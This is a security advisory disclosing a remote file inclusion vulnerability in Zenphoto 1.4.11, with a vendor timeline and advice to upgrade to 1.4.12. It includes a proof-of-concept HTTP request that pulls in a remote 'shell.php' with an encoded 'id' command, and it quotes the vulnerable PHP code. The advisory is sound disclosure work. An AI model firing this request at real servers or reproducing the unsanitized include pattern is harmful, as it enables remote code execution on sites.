Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   Zenphoto 1.4.11
Fixed in:           1.4.12
Fixed Version Link: https://github.com/zenphoto/zenphoto/archive/
                    zenphoto-1.4.12.zip
Vendor Website:     http://www.zenphoto.org/
Vulnerability Type: RFI
Remote Exploitable: Yes
Reported to vendor: 01/29/2016
Disclosed to        03/15/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

Zenphoto is a CMS for hosting images, written in PHP. In version 1.4.11, it is
vulnerable to remote file inclusion. An admin account is required.

3. Details

Description

CVSS: High 8.5 AV:N/AC:M/Au:S/C:C/I:C/A:C

When downloading a log file, the input is not properly sanitized, leading to
RFI.

An admin account is required, and allow_url_fopen must be set to true - which
is the default setting.

In old versions of PHP, this would additionally lead to LFI via null byte
poisoning or path expansion, regardless of allow_url_fopen settings.

Proof of Concept

GET /zenphoto-zenphoto-1.4.11/zp-core/admin-logs.php?action=download_log&page=
logs&tab=http://localhost/shell.php%3f%78%3d%69%64%26%66%6f%6f%3d&filename=
security&XSRFToken=afd5bafed21279d837486fd2beea81f87bc29dea HTTP/1.1

Code

// admin-logs.php (sanitize(x, 3) only strips out tags)
    case 'download_log':
	    $zipname = sanitize($_GET['tab'], 3) . '.zip';
	    if (class_exists('ZipArchive')) {
		    $zip = new ZipArchive;
		    $zip->open($zipname, ZipArchive::CREATE);
		    $zip->addFile($file, basename($file));
		    $zip->close();
		    ob_get_clean();
		    header("Pragma: public");
		    header("Expires: 0");
		    header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
		    header("Cache-Control: private", false);
		    header("Content-Type: application/zip");
		    header("Content-Disposition: attachment; filename=" . basename($zipname) . ";" );
		    header("Content-Transfer-Encoding: binary");
		    header("Content-Length: " . filesize($zipname));
		    readfile($zipname);
		    // remove zip file from temp path
		    unlink($zipname);
		    exit;
	    } else {
		    include_once(SERVERPATH . '/' . ZENFOLDER . '/lib-zipStream.php');
		    $zip = new ZipStream($zipname);
		    $zip->add_file_from_path(internalToFilesystem(basename($file)),internalToFilesystem($file));
		    $zip->finish();
	    }
	    break;

4. Solution

To mitigate this issue please upgrade at least to version 1.4.12:

https://github.com/zenphoto/zenphoto/archive/zenphoto-1.4.12.zip

Please note that a newer version might already be available.

5. Report Timeline

01/29/2016 Informed Vendor about Issue
01/29/2016 Vendor replies
02/23/2016 Vendor sends fix for verification
02/23/2016 Suggested improvements for attempted fix
02/29/2016 Delayed Disclosure
03/14/2016 Vendor releases fix
03/15/2016 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Zenphoto-1411-RFI-156.html
 
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Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany